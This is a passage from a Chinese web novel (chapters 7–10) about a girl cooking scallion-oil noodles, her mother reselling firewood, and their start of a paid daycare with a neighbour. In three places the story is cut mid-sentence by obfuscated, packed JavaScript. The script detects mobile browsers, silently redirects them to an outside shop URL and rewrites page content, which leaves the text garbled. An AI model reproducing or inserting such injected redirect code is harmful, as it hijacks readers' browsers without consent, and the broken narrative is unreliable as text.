这时，水也涨了，灌入屋内的茶壶晾着，剩下的大陶碗装好，小茶炉撤出一半柴火，小火烧锅，铁锅有些烘手时，倒入半壶香油，油些微热的时候，加入葱段微火慢熬，直到油热冒小泡泡，葱段焦黄枯萎，立马捞出葱段，就着余温，放入切线小的一半葱叶，细盐搅化，葱叶变得草绿，立马捞出，葱油便熬好了，倒入陶碗中冷却。 家里粮油紧张，她用木勺刮油，直到锅里刮不下来后，放入一锅冷水，加柴烧沸，醒好的面擀薄切成细条下入锅里。 面条随着滚水沸腾间加入半碗冷水，连续三次后捞面起锅过凉水装碗。 灰白色的面条丝丝缠绕在一起，又黏腻，躺在褐红色的陶碗里，上头淋洒半小勺焦黄的葱油，再撒上焦黄的葱段酥，草绿的葱叶，最后撒上碧绿的鲜葱碎，一碗葱油泼面便做好了。 姜宁捞了三碗小的，一碗大的，打发被香味吸引过来，蹲在锅边淌口水的苏慎，送一碗小的到前院给魏大娘，她端着剩余的三碗到屋内，大碗是姜氏的，他和苏慎一人一小碗，然后连锅带汤端到桌子中间，一会吃完面撒点粗盐，葱粒，解决渴又暖胃。 不晓得姜氏和苏慎吃不吃得惯面条？ 7. 第 7 章 姜氏被姜宁晃醒，立刻有一股霸道的香味顺着鼻孔往里钻，挠得鼻子痒痒的，她梦见在正店吃席呢，鼻翼动了动，那股味道更浓郁了，原来不是做梦？ 她翻身一骨碌起床，顺着香味走到桌子前，忍不住抄筷子夹了缕草绿色葱碎品尝，入嘴咸香酥脆，勾起了一肚子的馋虫。挑了一丝面条，弹韧有嚼劲，不稀趴趴的，蘸点焦黄的葱油，面的甜，油的香，盐的咸，复合在一起，层次分明在舌尖上分次爆开，又和成一股极致的鲜，嘶，好霸道的面条。 她三两下拌均匀，开始大嘴大嘴吃起来，吃到一半抬头不舍道：“这面味道极好，我分一些给你们？” 苏慎嘴里满满的，手忙脚乱用筷子旋转裹下一轮面条，他鼓着腮帮子摇头，意思不用。 姜宁解释：“你尽管吃，我足足煮了半斤面，我和弟弟一人一小碗，够够的。我还送了一小碗给前院魏大娘。” 姜氏含糊赞同：“我们才搬来，对她多有麻烦，是该送些东西去，你做的很好。” 一碗瓷实的面条下了肚，姜氏觉得她现在强得可怕，浑身充满了干劲儿，上午没寻摸到活计的愁闷一扫而空。 碗底还汪着一层焦黄的油，她舍不得浪费，从锅里舀出些滚汤倒在碗里，焦绿的油花飘在雪白的汤面上，撒上点粗盐，入口浓郁滑润，棒极了。 接连喝下两碗面汤，姜氏浑身洋溢着满足，打了个嗝，好过瘾，距离上次这样吃得心满意足，是死鬼还在的时候吧。 她摇摇头，甩开不当吃不当喝的思念，转而询问姜宁：“你做饭的手艺怎么突然变好了？” 姜宁早知道她会有此一问，把空了一半的油葫芦摆在她面前，一副得意洋洋的模样：“早和阿奶说了八百回，做饭多放米要多放油多放盐，诺，今天油盐我做主，味道好吧！看把阿慎饿的，皮包骨头了。” 问就是阿奶的极致节省，埋没了她做饭的天分。 回想婆婆一贯小气，炖只鸡放黄豆大点盐的行为，姜氏深以为然，再好的食材到她手里都变得寡淡无味。 她摇一下油瓶，适才吃面时有多满足，现在就有多肉疼，乖乖，一顿面用掉半壶油，这哪是吃面，吃的是她的命。 视线落在对面两人尖得能戳人的下巴上，要节俭的话在嘴里转个圈拐了个弯：“没事，我能搬麻袋赚钱，你放开了整，你和阿慎都瘦，如今我们自己当家，合该吃饱些。” “到了花城，那边徭役轻，我们可以多花些钱在吃喝上。” 她交代了两句小心烧火，不准在井边玩耍的话，提着扁担又出了门，寻摸活计，顺便买一担柴回来。 前院的魏婆小孙子板栗睡醒后开始哼哼唧唧，魏婆子探手一摸，小板栗又睡一背的汗，这娃儿打小虚汗大，拿被子捂着帮他换了身干爽的衣裳，耽搁了一会，午饭便比往常迟了些，饿极了的板栗开始呜哇呜哇嚎，魏婆子越发手忙脚乱，既要忙着烧火添柴，又要忙着洗锅熬粥。 这当头，苏慎端了碗面条来，小嘴叭叭说给她添麻烦了。 魏婆子心下点头，嗨，这租客还挺有边界感，借了几颗葱，几根柴火，就慌着来还礼了。 最便宜的褐色陶碗里躺着粗细均匀的面条，淋了香油，或焦黄，或草绿，或翠绿的葱碎点缀在灰白色的面条上，看着便让人口齿生津。 若是平时，她决计不会让一岁半的板栗吃灰面的，这种面粉要么是陈麦磨的，口感不佳，要么混了麦麸，比较粗糙。今日实在手忙脚乱，孙子饿得等不及，她把面条搅拌两下，先尝一口，没有怪味，反而异常的香，弹韧却柔然，把心放到肚子里，一丝一丝挑起来送到板栗小嘴边，许是这孩子恶狠了，竟不闹腾，乖乖坐着吃掉大半碗，还啊啊啊张着嘴等投喂。 不过剩下的她自己吃了，这娃儿肚量便是三分之一碗软米饭。平时多喂一口，便吭哧倒怪的，不是噗噗往外吐，便是左右摆头不愿意咽，今日如此懂事，让她好一阵欣慰感叹，小板栗长大了呢！ 让她惊喜的还在后面，孩子吃完饭摇摇晃晃自个玩，这里摸摸，那里掏掏，不再哼哼唧唧要抱，让她老腰得了一天的清闲。 不过，她高兴早了些。 到了晚间吃饭，混小子开始噗噗噗吐软米饭，一口都不愿意吞，然后啊啊啊长大嘴巴等着。等到一勺软米饭进嘴，他尝一口又开始噗噗噗吐，还委屈的哭上了。 她恍然大悟，这浑小子该不会想吃午间的面条吧？ 可是，家里没面粉，她也不会做面条啊！ 面前的浑小子嗷嗷嗷嚎个不停，没奈何，厚着脸皮抱着孙子到后院讨一口饭吃。 到了后院，只那闺女和小子在家，她说明来意，姜宁抱歉道：“魏大娘，不是我不给，我们今晚没做面条，揉面煮面条一时半会弄不出来，得等约莫半个时辰，小板栗可等得？” 她瞟一眼小奶娃，这孩子被哆哆叫的小母鸡吸引了注意力，暂时忘了哭。 说完，她揭开锅盖，露出锅里闷好的米饭，和米饭上一碗黄生生油津津的鸡蛋羹。 魏婆子看一眼鸡蛋羹，同样是鸡蛋羹，这闺女的鸡蛋羹怎么感觉和她炖的不一样，好更年轻一些？ 她试探道：“闺女，要不把你做的饭和鸡蛋羹，卖我们板栗半碗，先让他吃吃看，若不愿意吃，你帮我单独下碗面条，像你家早上那个味，我不白要你的，给你五个铜板，怎么样？” 外头七个铜板一碗阳春面，十个铜板一碗肉酱面，孙子只要半小碗，这闺女不亏。 哪知姜宁摇头不愿意。 魏婆子脸色有些不好：“是嫌钱少了吗？我给你十个铜板怎么样？” 姜宁摇手解释：“不不不，魏大娘，你误会了，一碗米面的事，我哪能要你的钱。是这样，我娘为了省钱，买的陈面和陈米，虽说没受潮，但口感不佳，小娃儿肠胃娇嫩，不晓得会不会吃坏肚子，要能等，我去街上买斤白面来现做给他，你看好吗？” 这闺女做事敞亮，魏婆子脸上晴转多云，拉着她的手：“是阿宁闺女吧，没事，他就爱吃陈粮，这浑小子饿起来，哪里等得。你不知道，我特意买的新米做给他吃，他硬是一口不愿意咽啊，噗噗喷得我一身，就把你家饭给他尝尝。”说着自己去动手揭锅盖。 谁好人家爱吃陈粮啊，魏大娘这话说的。 她观察小板栗挺机灵一个小奶娃，他是小，又不是傻。 姜宁不愿意担风险，接了她的碗，舀了满满两勺颤巍巍的鸡蛋羹：“魏大娘，这样，小母鸡吃饱了你家菜园的虫子，今日下了两只蛋，新鲜，给他吃这个好，再把你家的新米饭添上一些，你哄着他吃些垫吧肚子，我去街上尽快买新白面回来，你看行不？” 魏婆子看了看天色，快掌灯了，她哪能让个清秀的小女郎到处乱走，连忙拉住姜宁：“先给他吃吃看，不愿意吃，我再去买，你也找不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991613|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到路啊！” 魏婆子舀起一勺颤巍巍淡黄的鸡蛋羹，上头沾了些焦黄的油花，看着就嫩，她试着喂到孙子嘴里，浑小子先抿了抿，眉眼舒展咽下了肚，然后阿张大大嘴巴，示意阿奶继续投喂。 魏婆子怅然若失，孩子是嫌弃她做的饭不好吃么？ 一边的姜宁提醒：“魏大娘，鸡蛋羹不顶饿，添半勺你家的新米饭给他啊！” 魏婆子哦一声告辞抱着孩子往前院去，姜氏挑着半担干柴火回来。 她吧柴火放在房檐下面，眉开眼笑，晃了晃手里的钱袋；“哈，叶城的钱果然好赚，快过来，数数我这一下午，赚了多少？” 苏慎兴奋接过铜钱，丁零当啷倒在桌上数起来：“一个，两个，三个，……十八个，二十个！娘，你真厉害，一下午就赚这么多钱。” 姜氏纠结的拍了他一巴掌：“文盲，是十九个！” 被打的苏慎很给力的彩虹屁：“阿娘好厉害的，一下午就十九个，一个月就，就就……” “就五百七十个！”姜宁端来热水，顺嘴接到。“平时教你数数，你不好好学，看看，赚了钱数不清楚！” 苏慎一个一个扒着铜钱看，嘿嘿：“怕什么，到时候我赚钱，我媳妇数钱就是！” 两人无语，这小子一天到晚挂着娶媳妇，懒得搭理他。 姜宁找出姜氏的布巾递给她：“娘擦擦汗吧，是找到搬麻袋的活计了吗？” 姜氏双手伸到些微烫的木盆里，立马舒服的哆嗦了一下，用热水洗手擦了脸，道：“搬麻袋一天能得300文，哪里那么好找到。” 头发上一股子汗臭味，擦不掉，洗头又太麻烦，她有些羡慕的扫一眼儿子女儿带着头巾的脑袋。 她解释：“下午去东门等装车的货物，挤不上，后来看到个卖柴的，要价50文，我砍价到30文买了一担，打算先送回来，哪知半路有个妇人喊住我，以为我是卖柴的，问我一围10文卖不卖？ 当然卖了，一担能分6围多，一围散卖10文能赚5文。我挑着柴火沿着小巷到处询问，叫我卖了4围，本来应该赚到20文。” 说到这，她有些咬牙切齿：“幸好没有住在昨日坑坑洼洼那个巷子，里头有个婆娘抠门得很，只愿意给9文一围，所以才赚了19文。” 姜宁暗道，叶城百姓家家户户生火做饭，烧柴的多，用炭的少，柴火需求量很大的，普通百姓，为生计奔波，一下子拿出50多60文买一个月柴火，大部分百姓掏不出，或说舍不得拿出这么多闲钱，所以有那么多一围一围买的，姜氏上门叫卖，还省了跑一趟集市的功夫。 而城外的卖柴的樵夫，挑去市场需交10文的摊位费，摆摊一天不一定卖得掉，担柴散卖，试问，几个家庭主妇敢和壮硕的陌生男子搭话？ 所以樵夫宁愿低价倒手给姜氏，再上山去砍柴，符合最大收益。 为什么姜氏之前不砍柴到城里售卖呢？自然是她砍柴只够苏家烧用，根本没想过这回事。 姜宁复盘前因后果，啧一声，所以，上天给姜氏关了抗麻袋的门，打开卖柴的窗？她的事业有了眉目，那自己的在哪呢？ 这一晚，姜氏睡得比较晚，一方面是仅用了一下午就赚了19文，激动的。另一方面是头痒痒得睡不着，她听着耳边女儿儿子平稳的呼吸声，再次体会到光头的好处，剃，必须剃，剃了头才能洗干净臭汗，睡个好觉。 8. 第 8 章 魏婆子抽板栗睡觉的空子，到后院浇菜，抬眼发现姜氏拿着个剪刀，在自己头发上比划，惊愕得几乎合不拢嘴，孩子们躲在家里不出门随便折腾，姜氏看着不比她年轻几岁吧，也不知轻重。 她不赞同的劝导：“姜妹子，使不得使不得，没了头发，精气血都没了。” 姜氏体会到自家女儿的无奈，顺嘴为女儿圆谎：“玄珠法师，收我家两个孩子去给菩萨当弟子，我哪里舍得，跪在菩萨前苦苦哀求，菩萨指示玄珠法师，收我做佛仆，让我领着两个孩子在家清修，这不，昨日是他们剃度的日子，今日是我的。 多谢老姐姐关心，菩萨已经赐福给我们，精气血不会受损的。” 魏婆子犹自不信：“哪座寺庙的玄珠法师啊，好似没听说过？” 姜氏眼珠子转动了一下，往东边指了指含糊道：“玄珠法师在花城边的青龙寺修行。” “花城啊，这么远？” “可不是吗，孩子们跟着我回娘家，偶遇玄珠法师被看重，才知道两个孩子有慧根。”这是变相夸自家孩子聪明伶俐。 自家孙子指望着人家的面条，魏婆子看她一眼，笑着接嘴：“难怪你家闺女巧慧，原是被菩萨点化过，你家儿子，也很”她顿了一下，琢磨个词：“灵慧！都是极好的孩子。” 姜氏嘿嘿傻笑：“就是，我亲手带大的，还能歪了去？”显摆完孩子的姜氏难得情商高了一回：“别说，你家院子风水真好，看看，小板栗壮实得小牛犊一般，还是姐姐会教养。” 魏婆子扯嘴笑了一下，对方的话些微夸张。孙子确实壮实好养，对比街坊家藕节胳膊的小孩，瘦多了。 她切入正题：“这样，我家板栗爱吃阿宁闺女做的饭菜，你看，以后能不能麻烦她顺便到前院，帮我做一份孙子的饭菜，你放心，我不白麻烦她，做一次三文钱，怎么样？” 姜氏压住翘起的嘴，还有这样的好事，张嘴便要答应，好字到了舌头尖刹住车，记起苏宁的性子，小心解释：“老姐姐，实话和你说，我这闺女，平时看着还好，但是，不如意的时候发癫难缠，我确实做不了主，这样，你先去忙，我和她说一声，问问她的意思再答复你，好么？” 有手艺的人当然有资格闹脾气，魏婆子嗯一声，忙自家的事去。 姜氏剃好头发，三两下清洗干净，学着苏慎的样子弄了布巾子裹着脑袋上，瞬间清爽舒适，没有凉飕飕的不自在感，和姜宁交代了声，担着昨日剩的干柴，出门继续沿街叫卖。 午间，姜宁寻到魏婆子，表示愿意为板栗做吃食，先试做三天，若吃得合适，再谈。 这三日，姜氏卖柴火的生意一日好过一日，第一日赚了45文，第二日赚了66文，第三日赚了90文，姜氏一把水洗干净头上的汗渍，擦干净躺在床上，兴致勃勃：“明日说不定能赚一百文！” 叶城好哇，短短三日，便赚够大半月房租。 她大气承诺：“说说看，你们想要啥，我明日买回来。” 苏慎举手：“我要糖，麦芽糖！” 姜宁想要的太多，大铁锅，蒸笼，各色食材调料，随便一样，现在他们都负担不起，她无数的赚钱点子，止步于起炉灶的钱都没有。 最后，她叹了口气道：“阿娘，米面各剩一半，油也见底了，要不打一壶油？”试用期她没要魏婆子的工钱，魏婆子投桃报李，每日院子里的菜，换着拔给他们，萝卜青菜葱姜，这几日换轮着吃，因没买肉，姜宁煮菜时油放的重，顶饿。 姜氏嗯了一声。 第四日到了该做饭的功夫，姜宁笑盈盈询问：“魏大娘，我这三日做的饭菜，板栗可吃的惯，油盐佐料用量，能接受吗？” 回想这三日，过的可是神仙日子。 以前的一天：早起洗漱干家务，提前备菜，等板栗醒来后抱着他做饭，打仗一般喂饭，带孩子玩儿，哄睡，洗碗洗衣，下午重复上述过程，晚上再次重复上述过程。 现在的一天：早起洗漱干家务，逛街买菜，回家到后院看孩子玩，吃饭，带孩子窜门。 不晓得姜宁怎么教的，每日臭小子醒来帮他穿好衣服后，他爬下床到后院蹲着看鸡，吃饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991614|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿个勺子自己挖着吃，吃完跟着苏慎屁股后面捉虫子，捡鸡蛋，数蚂蚁……一整日精神抖擞，到了睡觉时间，不用哄，自己靠在枕头上就睡。 黏糊赖皮的性子突然变成乖巧体贴宝宝，她一把年纪体会了戏文里的老夫君，每日不用操持，只用含饴弄孙。 “接受，太能接受了！是明天开始算工钱吗？”苏家姐弟不仅做饭洗碗，还帮忙带板栗玩儿，做的实在太多。 她是个有分寸的，主动加钱：“一天6文太少了，我给你们加到10文一天，菜地里的菜，你们自吃不卖的话，随便拔，可以吗？” 姜宁笑而不答，示意苏慎带着板栗去撒尿。 好家伙，三日不见，她的小孙子不再尿裤子了，这还是他的孙子么。 等板栗被逗得咯咯咯笑声传来，她询问：“魏大娘，你觉得板栗这几天过的如何？” 变化太大，感觉一下子就懂事了，会自己挖饭吃，自己睡觉…… 姜宁循循善诱：“我们这样带孩子，你觉得好不？” 魏婆子激动得拍着大腿：“孩子吃得饱，玩的好，带的可太好了！” 姜宁目的达到：“魏大娘，城里那么多人家，总有没空带孩子的父母，要是我们能帮他们解决这个问题？” 魏婆子眼前一亮：“详细说！” 姜宁缓缓说出计划：“你家院子大，又平整，只要把水井锁起来，再适合孩子玩耍不过！我们去招揽些父母不得空闲的二三岁小孩，天亮让长辈送来，管三顿饭，领着孩子们玩，太阳落山，孩子父母下工了再接回去，每天收16个铜板，你看，这主意可以不？” 魏婆子眨巴眨巴眼睛，心内飞快计算，一个娃收16个铜板，若招到20个娃，一天就能赚320文，乖乖，小孩吃不掉多少，去掉米面钱，一天能剩近200文。 姜氏听着对面急促的呼吸声，继续道：“你招收小孩和提供院子灶房，我负责做饭洗涮，苏慎带小孩玩儿，我们三人分工合作，除去买菜买米钱后，赚了钱你占一半，我和苏慎一半，魏大娘觉得怎么样？” 9. 第 9 章 一阵激动后，姜宁提前泼冷水：“魏大娘，我们才开始办，估摸来的孩子不多。”大富人家有丫鬟奶娘，困苦家庭舍不得一日那么多铜钱，这个针对富余之家，而且大人没空带孩子的。 魏婆子火热的心凉下来，转念一想，多收一个孩子，便多一份钱，没孩子来，她也不亏，院子屋子本来就在那，空着没用，只需要提前购些米粮面，粮食本身家里也要买，吃不完存着一时半会坏不掉，素菜家里院子里就有，荤菜根据当日送来的孩子个数，现去市场割，一点不浪费。 所以，这是一个完全没有风险，但上限很高的买卖，比外头做生意的收益还好。 短暂的思索后，魏婆子拍板：“没事，我们先试试水，不行就算了，也不损失什么。” 两人凑在一起嘀嘀咕咕，商量起来。 姜宁万事以安全为先，坚决要求宁愿收不到孩子，也不要生病的小孩，万一孩子在这里出了问题，要吃官司的。 魏婆子点头：“你放心，招孩子的事，我来办，我在东城住了半辈子，各街坊家里的事，我熟。” 两人讨论了大半天，定在三日后开张。 魏婆子负责抱着板栗到处显摆自家孙子会喊尿尿，还会呀啊撒数数，姜宁负责收拾布置堂屋，给报名的小孩做午睡休息用。 三日后的早晨，魏婆子领着看热闹的街坊进了院门。 短短三日，魏婆子家院子变化很多。 进门，左边是二十步长宽的平整夯土院子，足够小孩撒欢奔跑，旁边墙跟整齐摆放着十个沙包和一个圆鼓鼓的猪泡球，右边是码放整齐的柴火，被细密的篱笆隔开，小孩子钻不进去。柴火堆旁边一个泥坑，里头许多半干的细腻河沙，上头洒落些竹子做的小木铲，小锄头。 早有孩子挣脱大人的手，去捡铲子玩。 最令人惊奇的是，挨着堂屋的院墙，被油漆漆成了方方正正的黑色，下面小篮子里放着些白色石膏块，下面一圈小板凳，旁边一块黑色的小黑木板，有点学堂的模样。 不等魏婆子介绍，早有淘气的孩子，拿着白石膏在小木板上乱画，这个花个圈，那个划条线，兴奋叽叽喳喳互相比对，哪个画的人好看。 进了堂屋，中间是过道，左右两边一溜足有一尺厚的稻草床，上头铺着一层陈旧但干净的床单，整齐的叠放了一床小被子小枕头。 姜宁笑着努努嘴，苏慎放开牵着小板栗的手，小板栗呜啊扑向稻草床自己的被子，藏住脑袋，掀开，又藏起来，又露出来，两个骨碌碌清亮的大眼睛弯成了月牙，招呼大家和他躲猫猫。 其他小孩哪里还能忍，脱了鞋便蹦上去，兴奋的左右打滚翻跟头，谁家的床有这么大啊，翻跟头都翻不到头。 魏婆子咳嗽一声，笑道：“孩子们快出来，我给你们准备了甜甜的米糕哦，快快快，慢了没有啦！” 在地铺上蹦跶，大人逮不到的萝卜头们，立马撒欢跟着魏婆子出了堂屋，魏婆子招呼所有小孩到后院茅坑外排队嘘嘘后，领着他们看了一圈小鸡，认识了几样蔬菜，晃悠来到厨房，门口的大木盆已经备好温水，魏婆子领着孩子们洗完手擦干净，顶戴头巾、口鼻覆着面巾的姜宁端出一个木盆，里头趴着数十个小白兔，玉雪可爱。 姜宁的清越的声音从面罩后传出来：“我家米兔选用新鲜的大米，加了白糖、蜂蜜桂花等数十种香料，经十多种工序精心烹制做成，酸中带甜，甜中带香，软糯易克化，最适合小宝们品尝!” 她说着捏了两下手中的米兔，米兔肚子瘪后立马回弹，镶嵌了两片红枣做的眼睛，又新奇又好玩。 她耐心的指挥小娃们排队领米兔，一个小孩发了一只后，剩下三只米兔用剪刀减小，擦上牙签，请围观的大人品尝。 一旁的魏婆子半是炫耀半是惋惜：“这是我侄女魏宁，之前在大酒楼当厨娘，手艺没得说！说好了亲事，回家等发嫁，我请来帮我做饭。这侄女穷讲究，平时带着口罩，说免得喷些口水到菜里不干净。” 众人撇嘴，魏婆子也太能吹了，一个没成婚的丫头，还大酒楼的厨娘，牛皮都快飞上天。 手里还拿着人家送的米糕，加了糖的呢，好不好吃不说，必须得尝尝，别糟蹋了东西。 米糕一入嘴，大家露出不可思议的神色：口感蓬松宣软，回弹有嚼劲，味道甜中带酸，酸里泛香，米香中混着酒香，还有一缕似有似无的桂花香，多种香味层层递进，实在是妙！ 一只兔子米糕才鸡蛋大小，哪里够吃，娃儿们几嘴吞掉后，围着姜宁讨要，姜宁翻过木盆，让大家看清光溜溜的盆底：“没有了呢，若还要，找婆婆预定，我这便去做！” 魏婆子摆摆手示意她进厨房，抱歉的对着家长解释：“米糕加了许多白糖，不敢多做，担心吃不完浪费，实在没多的！” 要不到米糕的孩子抱着自家阿娘或阿奶大腿，哭闹撒泼，众人围着魏婆子：“你个老货，都知道白糖精贵，我们不白吃你的，给你钱行了吧，多少钱一个，我们买还不行么？” 魏婆子点头：“确实是配料金贵，这点子米糕要三文一个才做的出来。她看着肉疼掏钱的街坊邻居，笑道：“若是今日报名来我家小小小学堂念书，今日下午就可以白吃一个哦。” 众人嫌弃米兔价贵，掏钱掏得肉疼，听到可以白嫖，来了兴趣，哄笑：“还小小小学堂，你们家会教孩子念书吗？” 魏婆子不恼，对着小板栗拍手，嘴里哼起轻快的旋律，“小手拍拍，小手拍拍，手指伸出来，手指伸出来，眼睛在哪里，眼睛在哪里，快点指出来……” 小板栗立马应和拍着肉肉的小手，跟着含糊不清的唱起来：“小斗拍拍，小斗拍拍，斗置灯出来，斗置等出来，眼睛在这腻，眼睛在这腻……” 一面用手捂着眼睛，一面从手缝里偷看大家，逗得大家哈哈大笑。 这娃子，太逗人稀罕了。 魏婆子解释：“孩子小，先从最基本的教起，撒尿，吃饭，唱歌，数数，教孩子学这些最简单的啊。” 都是街坊，他家小板栗的进步大家有目共睹，才几日不见，竟然会撒尿吃饭唱歌了。 众人你看看我，我看看你，不愿开口询问。 姜氏躲在人群后捏着嗓子替大家发声：“学这么多，得要八九十学费一天吧？” 魏婆子笑道：“哪能啊？ 我们上午教孩子唱歌，下午教孩子画画，供三餐再加一顿点心，只要二十文一天。诺，刚才试吃的精贵米兔便是下午的点心。今早早饭是葱油泼面，午食莴笋肉配白米饭，晚食三鲜肉配白米饭。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991615|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一次□□三天学费，送一个沙包，交满十天，送一个小黑板，交满三十天，送一个猪泡球。 大家都是熟人，今日报名的，多送一个米兔，晚上可以带回家。我只准备了二十只米兔的食材，晚了可没有了哦！” 大家犹豫不决，肉疼二十文一天太贵。 魏婆子朝着人群中的老姐妹使了个眼色，陈婆子提着自家胖墩墩，刚尿了裤子的孙子后领，挤到前面，哗啦丢了个钱袋给魏婆子，痛心疾首：“这是200文，我家小胖报名学10天，必须学会自己撒尿和唱眼睛歌，还要会数数，嗯，最重要的是，要能背诗，十天不够，我们学三十天，学到会为止！” 大家一听，心思百转，米兔就是一精致些的糕点，吃不吃无所谓，十多天后就是中秋节，全家齐聚一堂，到时候妯娌家的孩子忙着尿裤子，自家孩子唱着歌，数着数，背着诗，想想那场景都让人美得浑身冒泡。 上头公婆得了脸，手里漏出些压箱底的来，那不就面子里子都占了! 学，必须学，十天也才两百文而已，随便别处抠一下就省出来了。主要是望子成龙，望女成凤！ 客户要求教孩子们背诗，魏婆子一时有些为难，和之前商量的学习内容有出入，姜宁到底行不行啊？ 她的目光隐晦投向厨房的窗子里，看见里面的姜宁伸出三个手指头，魏婆子放下七上八落的心，铿锵有力保证：“既然你们要求，我今晚就调整娃儿们的学习内容，从明天开始教娃儿们学诗，我保证，至少教他们三首诗！” 得到大家的一致同意，魏婆子叫姜宁出来帮忙收学费做登记。 姜宁仔细检查每一个小孩，手脚屁股上没有红疹、伤痕，嘴唇正常红润不青紫，再扳开孩子嘴巴查看咽喉等，确认没有病症的孩子，才办理入班手续，名字、年龄、住址、孩子喜爱、注意事项等，一面问一面用炭笔在纸张上记录得飞快。 众人看她写得满满当当，龙飞凤舞，竟是个识字的，收起了轻慢之心，即便心里不满，询问的语气都温润了许多：“孩子跟着学几首诗，怎么还要看牙齿屁股？”好似在相看牲口。 魏婆子插嘴解释：“问清楚了知道娃儿不能吃什么，做饭时避开，才不会出差错，都是为小娃们好哈。” “交了学费的娃儿娘，先回去取娃儿的被褥，和换洗衣裳一套送来，然后以后早上辰时正送娃一起带过来，晚上酉时正接娃带回去哈。记住了，谁送的娃，谁来接，其他人来，我是一律不给接走的。” 忙了将近半个时辰，才把所有家长送走，只剩下十八个眼角挂着泪的小萝卜头，睁着大眼睛坐在小板凳上，瘪嘴舔着姜宁提前备好的棒棒糖，眼巴巴的盯着黑板旁的苏慎，将他看得一阵心里发毛。 姜氏这三日没有出门卖柴，在家帮忙布置院子，土坑里的沙子便是她从河边挑来的，篱笆也是她披星戴月扎的，还有地铺的稻草依旧是她从城外农田里买回来的，可以说，姜宁是设计师的话，她便是最有力的执行者。 和苏慎不一样，她看着面前的十八个小萝卜头，眼里的温柔几乎要溢出来，这哪里是小萝卜头，是十八棵小摇钱树。 啧，一个娃儿二百文，去掉小板栗，还剩十七个，乖乖，那是3400文，也就是3两4，自家不晓得能分得多少？ 10. 第 10 章 苏慎僵笑着脸，和最后一个小娃说明天见，利索的锁好院门。和阿姐两个人，照顾十八个孩子一整天，他都快累疯了，一想到灶房锅里阿姐炖的肉，他浑身充满了干劲，疾步走进去。 灶房吃饭的桌面上，已经收拾得空荡荡的，魏婆子、姜氏、姜宁围坐三面，小板栗在一边地上的小板凳上，抱着个骨头乐滋滋的啃着，姜氏急切招呼他坐在剩下的桌边。 人已到齐，姜宁抱出钱匣，魏婆子从腰间取下钥匙打开上头的小锁，而后姜宁把整个钱匣子翻倒在桌面上，无数或旧或新的铜钱哗啦啦掉出来，撞击在桌面上，组成着世间最美的歌声。 眼见铜钱乱滚，魏婆子和姜氏手忙脚乱，双手堵在桌沿，免得铜钱掉落下去，姜氏抱怨：“哎哟喂，阿宁你倒它作甚，万一滚少了几个可怎么办？” 魏婆子笑呵呵道：“没事，反正在家，总能找出来，说起来，我也喜欢听这清脆的声音，实在悦耳动听！” 两人边说边用准备好的细线穿钱，一百个一串，整理好重新码放在钱匣子里。 没错，整整三千四百钱。 姜氏抚摸着整齐排排列的铜钱小士兵，心口砰砰砰跳，只用一天，她们便赚到3.4两银，实在太厉害了！ 苏慎嘴巴长得老大，眼里冒着兴奋的光：“哇哦，我们好厉害，一天赚这么多钱，是不是明天就可以骑大马去外婆家啦？” 姜宁无语，流水和利润差别大了去了，笑着泼冷水：“不能够，还要刨除成本呢。” 拿出本子开始和魏婆子逐一对账。 两人一起估算了今日的消耗，柴米面肉油盐一天约要80文，蔬菜用的是后院的，后院魏婆子种植了常见好活的萝卜莴笋南瓜白菜葱姜蒜苗。 苏宁想了想道：“魏大娘，每日按照100文的伙食费算，若是家里有的蔬菜，就按照市场价算钱给你，若没有，便去市场里买，你看可以吗？” 本来后院的菜她一个人吃不掉，带着孩子也没空去街上卖菜，菜长大了分些给街坊邻居，如今能换钱，再好不过。 说着，姜宁取出十串放在一边，先拿出一串钱交给魏婆子：“魏大娘，采买这一块是你负责，这个是今日的伙食费，你收好。” 接下来姜宁让众人报账，这三日做准备的开销。 魏婆子有些肉疼：“之前和陈婆子打了招呼，让她第一个报名交钱，和她说好过后退她钱，哎，我意思是让她报名三日的，没想到她直接交钱十天，哎，真是个从不吃亏的主。” 她有些纠结：“要不我只退给她三天60文？”两百文退给她，好舍不得。 姜宁取了两串放在魏婆子面前，笑着劝道：“可别！ 今日多亏是陈婆婆，不愧是你的好姐妹，一样干脆利落眼光毒辣。要不是她提出教小娃们念诗，那些阿娘阿奶的还舍不得交钱报名哩。这钱合该退给她，就麻烦大娘过一会，寻个没人的功夫，悄悄给她送去，我特意留的三只米兔糕，一起带给她。” “两百文确实多，够我们两天的开销，但我们这样想，我们也没任何损失，左右要带其他孩子，顺带着小胖一个娃，不花费什么的。” 她这样一说，大家便不心疼了。 